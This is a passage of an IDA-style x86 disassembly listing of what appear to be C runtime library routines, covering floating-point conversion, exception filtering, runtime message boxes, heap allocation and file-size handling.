mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424A99
inc ebx
push ebx
push [ebp+arg_0]
call sub_424996
pop ecx
test eax, eax
pop ecx
jnz short loc_424A96
push edi
push [ebp+arg_0]
call sub_4249DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424A96: ; CODE XREF: sub_424A35+51j
mov eax, [ebp+arg_4]
loc_424A99: ; CODE XREF: sub_424A35+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AB9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AB9: ; CODE XREF: sub_424A35+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A35 endp
; =============== S U B R O U T I N E =======================================
sub_424AC1 proc near ; CODE XREF: sub_424B90+75p
; sub_424B90+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424ACF: ; CODE XREF: sub_424AC1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424ACF
pop esi
retn
sub_424AC1 endp
; =============== S U B R O U T I N E =======================================
sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp
; sub_424B90+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424ADC endp
; =============== S U B R O U T I N E =======================================
sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424AEE: ; CODE XREF: sub_424AE8+12j
cmp dword ptr [eax], 0
jnz short loc_424B00
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424AEE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B00: ; CODE XREF: sub_424AE8+9j
xor eax, eax
retn
sub_424AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B03 proc near ; CODE XREF: sub_424B90+C0p
; sub_424B90+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B39: ; CODE XREF: sub_424B03+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B39
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B6B: ; CODE XREF: sub_424B03+86j
cmp ebx, edi
jl short loc_424B7E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424B85
; ---------------------------------------------------------------------------
loc_424B7E: ; CODE XREF: sub_424B03+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424B85: ; CODE XREF: sub_424B03+79j
dec ebx
sub ecx, 4
jns short loc_424B6B
pop edi
pop esi
pop ebx
leave
retn
sub_424B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp
; sub_424D12+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424BFD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424AE8
test eax, eax
pop ecx
jnz loc_424CBC
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
loc_424BF5: ; CODE XREF: sub_424B90+E4j
push 2
loc_424BF7: ; CODE XREF: sub_424B90+110j
pop eax
jmp loc_424CBE
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B90+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AC1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
add esp, 10h
test eax, eax
jz short loc_424C1E
inc ebx
loc_424C1E: ; CODE XREF: sub_424B90+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C36
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
jmp short loc_424C72
; ---------------------------------------------------------------------------
loc_424C36: ; CODE XREF: sub_424B90+98j
cmp ebx, eax
jg short loc_424C79
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AC1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B03
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B03
add esp, 20h
loc_424C72: ; CODE XREF: sub_424B90+A4j
xor esi, esi
jmp loc_424BF5
; ---------------------------------------------------------------------------
loc_424C79: ; CODE XREF: sub_424B90+A8j
cmp ebx, [edi]
jl short loc_424CA5
lea eax, [ebp+var_C]
push eax
call sub_424ADC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B03
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424BF7
; ---------------------------------------------------------------------------
loc_424CA5: ; CODE XREF: sub_424B90+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B03
pop ecx
pop ecx
loc_424CBC: ; CODE XREF: sub_424B90+55j
xor eax, eax
loc_424CBE: ; CODE XREF: sub_424B90+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424CED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424CF7
; ---------------------------------------------------------------------------
loc_424CED: ; CODE XREF: sub_424B90+14Ej
cmp edi, 20h
jnz short loc_424CF7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424CF7: ; CODE XREF: sub_424B90+15Bj
; sub_424B90+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424B90 endp
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D7F8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D810
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: sub_42223B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D82 proc near ; CODE XREF: sub_422279+65p
; sub_42237D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DBF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DA5: ; CODE XREF: sub_424D82+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DB1
movsx edx, dl
inc ecx
jmp short loc_424DB4
; ---------------------------------------------------------------------------
loc_424DB1: ; CODE XREF: sub_424D82+27j
push 30h
pop edx
loc_424DB4: ; CODE XREF: sub_424D82+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DA5
mov edx, [ebp+arg_8]
loc_424DBF: ; CODE XREF: sub_424D82+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DD8
cmp byte ptr [ecx], 35h
jl short loc_424DD8
loc_424DCB: ; CODE XREF: sub_424D82+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DD6
mov byte ptr [eax], 30h
jmp short loc_424DCB
; ---------------------------------------------------------------------------
loc_424DD6: ; CODE XREF: sub_424D82+4Dj
inc byte ptr [eax]
loc_424DD8: ; CODE XREF: sub_424D82+42j
; sub_424D82+47j
cmp byte ptr [esi], 31h
jnz short loc_424DE2
inc dword ptr [edx+4]
jmp short loc_424DF4
; ---------------------------------------------------------------------------
loc_424DE2: ; CODE XREF: sub_424D82+59j
push edi
call sub_41B9C0
inc eax
push eax
push edi
push esi
call sub_41D670
add esp, 10h
loc_424DF4: ; CODE XREF: sub_424D82+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424D82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp
; sub_42237D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E5D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBFB8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425973
mov dword_4DBFE0, eax
add esp, 18h
movsx eax, byte_4DBFBA
mov dword_4DBFD8, eax
pop edi
movsx eax, word_4DBFB8
mov dword_4DBFDC, eax
mov dword_4DBFE4, offset dword_4DBFBC
mov eax, offset dword_4DBFD8
pop esi
leave
retn
sub_424DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E5D proc near ; CODE XREF: sub_424DF9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424EAB
cmp ebx, edi
jz short loc_424EA4
lea edi, [ecx+3C00h]
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EA4: ; CODE XREF: sub_424E5D+3Dj
mov edi, 7FFFh
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E5D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EC3
cmp edx, ebx
jnz short loc_424EC3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E5D+52j
; sub_424E5D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424ECC: ; CODE XREF: sub_424E5D+45j
; sub_424E5D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424EE4: ; CODE XREF: sub_424E5D+A6j
test ecx, esi
jnz short loc_424F05
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424EE4
; ---------------------------------------------------------------------------
loc_424F05: ; CODE XREF: sub_424E5D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F0E: ; CODE XREF: sub_424E5D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E5D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E2C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; DATA XREF: ___:0043D438o
; ___:0043DB78o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F3F
cmp dword ptr [eax+10h], 3
jnz short loc_424F3F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F3F
jmp sub_422DFC
; ---------------------------------------------------------------------------
loc_424F3F: ; CODE XREF: sub_424F1C+Dj
; sub_424F1C+13j ...
mov eax, dword_4DBFE8
test eax, eax
jz short loc_424F5C
push eax
call sub_424FB8
test eax, eax
pop ecx
jz short loc_424F5C
push esi
call dword_4DBFE8
jmp short loc_424F5E
; ---------------------------------------------------------------------------
loc_424F5C: ; CODE XREF: sub_424F1C+2Aj
; sub_424F1C+35j
xor eax, eax
loc_424F5E: ; CODE XREF: sub_424F1C+3Ej
pop esi
retn 4
sub_424F1C endp
; ---------------------------------------------------------------------------
word_424F62 dw 1C68h ; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
dec edi
inc edx
add [eax+1DBF7DE8h], dl
add ah, byte ptr dword_4DBFE8[ebx]
retn
; ---------------------------------------------------------------------------
byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co
dd 4DBFE835h, 6BE89000h, 0C3021DBFh
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: sub_422651+6Bp
; sub_422B62+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2600B3Ah
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: sub_422B62+73p
; sub_422B62+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2670000h
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; =============== S U B R O U T I N E =======================================
sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp
; sub_424F1C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 2600AAAh
nop
test eax, eax
jz short loc_424FCC
xor esi, esi
loc_424FCC: ; CODE XREF: sub_424FB8+10j
mov eax, esi
pop esi
retn
sub_424FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DFC
loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj
push 0Ah
call sub_423DD1
push 16h
call sub_425C06
pop ecx
pop ecx
push 3
call sub_41C1A2
; END OF FUNCTION CHUNK FOR sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_424FE7 proc near ; CODE XREF: ___:004236A6p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424FF8
add esp, 0Ch
retn
sub_424FE7 endp
; =============== S U B R O U T I N E =======================================
sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DD261[eax], cl
jnz short loc_425025
cmp [esp+arg_4], 0
jz short loc_42501E
movzx eax, word_43CE82[eax*2]
and eax, [esp+arg_4]
jmp short loc_425020
; ---------------------------------------------------------------------------
loc_42501E: ; CODE XREF: sub_424FF8+16j
xor eax, eax
loc_425020: ; CODE XREF: sub_424FF8+24j
test eax, eax
jnz short loc_425025
retn
; ---------------------------------------------------------------------------
loc_425025: ; CODE XREF: sub_424FF8+Fj
; sub_424FF8+2Aj
push 1
pop eax
retn
sub_424FF8 endp
; =============== S U B R O U T I N E =======================================
sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBFEC, ebx
push esi
push edi
jnz short loc_425078
push offset aUser32_dll ; "user32.dll"
call near ptr 26B0AD3h
nop
mov edi, eax
cmp edi, ebx
jz short loc_4250AE
mov esi, dword_4270C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DBFEC, eax
jz short loc_4250AE
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBFF0, eax
call esi
mov dword_4DBFF4, eax
loc_425078: ; CODE XREF: sub_425029+Bj
mov eax, dword_4DBFF0
test eax, eax
jz short loc_425097
call eax
mov ebx, eax
test ebx, ebx
jz short loc_425097
mov eax, dword_4DBFF4
test eax, eax
jz short loc_425097
push ebx
call eax
mov ebx, eax
loc_425097: ; CODE XREF: sub_425029+56j
; sub_425029+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBFEC
loc_4250AA: ; CODE XREF: sub_425029+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250AE: ; CODE XREF: sub_425029+1Cj
; sub_425029+33j
xor eax, eax
jmp short loc_4250AA
sub_425029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250B2 proc near ; CODE XREF: sub_42413E+22p
; sub_42413E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+arg_0]
cmp eax, dword_4DD380
ja short loc_42511D
push eax
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE74
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD384
call near ptr 27E0000h
nop
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE48, 0
jz short loc_425156
push esi
call sub_41FBB2
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+arg_0]
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4241E3
loc_425163: ; CODE XREF: sub_4241E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DD020, esi
jle short loc_4251B6
loc_425172: ; CODE XREF: sub_4241E3+FD1j
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4251AD
test byte ptr [eax+0Ch], 83h
jz short loc_425191
push eax
call sub_41BA3B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425191
inc edi
loc_425191: ; CODE XREF: sub_4241E3+F9Fj
; sub_4241E3+FABj
cmp esi, 14h
jl short loc_4251AD
mov eax, dword_4DC01C
push dword ptr [eax+esi*4]
call sub_41BA91
mov eax, dword_4DC01C
pop ecx
and dword ptr [eax+esi*4], 0
loc_4251AD: ; CODE XREF: sub_4241E3+F99j
; sub_4241E3+FB1j
inc esi
cmp esi, dword_4DD020
jl short loc_425172
loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4241E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251BB proc near ; CODE XREF: sub_42423B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DD140
jnb loc_4252F0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_4252F0
push 1
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4252FA
push 2
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4252FA
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42529D
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BF70
loc_425240: ; DATA XREF: ___:off_438CB8o
push 8000h
push ebx
call sub_425D78
add esp, 14h
mov [ebp+arg_4], eax
loc_425251: ; CODE XREF: sub_4251BB+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42525C
mov eax, edi
loc_42525C: ; CODE XREF: sub_4251BB+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42527A
sub edi, eax
test edi, edi
jle short loc_425290
jmp short loc_425251
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_4251BB+B5j
cmp dword_4DBDE0, 5
jnz short loc_42528D
mov dword_4DBDDC, 0Dh
loc_42528D: ; CODE XREF: sub_4251BB+C6j
or esi, 0FFFFFFFFh
loc_425290: ; CODE XREF: sub_4251BB+BBj
push [ebp+arg_4]
push ebx
call sub_425D78
pop ecx
pop ecx
jmp short loc_4252DD
; ---------------------------------------------------------------------------
loc_42529D: ; CODE XREF: sub_4251BB+71j
jge short loc_4252DD
push 0
push [ebp+arg_4]
push ebx
call sub_422F09
push ebx
call sub_4240AA
add esp, 10h
push eax
nop
call near ptr 2600000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4252DD
mov dword_4DBDDC, 0Dh
call near ptr 269086Bh
nop
mov dword_4DBDE0, eax
loc_4252DD: ; CODE XREF: sub_4251BB+E0j
; sub_4251BB:loc_42529Dj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422F09
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_4252FD
; ---------------------------------------------------------------------------
loc_4252F0: ; CODE XREF: sub_4251BB+1Aj
; sub_4251BB+36j
mov dword_4DBDDC, 9
loc_4252FA: ; CODE XREF: sub_4251BB+4Ej
; sub_4251BB+63j
or eax, 0FFFFFFFFh
loc_4252FD: ; CODE XREF: sub_4251BB+133j
pop esi
pop ebx
leave
retn
sub_4251BB endp
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp
; sub_4249DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425317
cmp ecx, esi
jnb short loc_42531A
loc_425317: ; CODE XREF: sub_425301+10j
push 1
pop eax
loc_42531A: ; CODE XREF: sub_425301+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425301 endp
; =============== S U B R O U T I N E =======================================
sub_425322 proc near ; CODE XREF: sub_4253DB+40p
; sub_4253DB+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
inc dword ptr [esi+8]
loc_425354: ; CODE XREF: sub_425322+19j
; sub_425322+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_42536C
inc dword ptr [esi+8]
loc_42536C: ; CODE XREF: sub_425322+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
pop edi
pop esi
retn
sub_425322 endp
; =============== S U B R O U T I N E =======================================
sub_425380 proc near ; CODE XREF: sub_4253DB+30p
; sub_4253DB+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_425380 endp
; =============== S U B R O U T I N E =======================================
sub_4253AE proc near ; CODE XREF: sub_425973+1C8p
; sub_425DEE+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4253AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
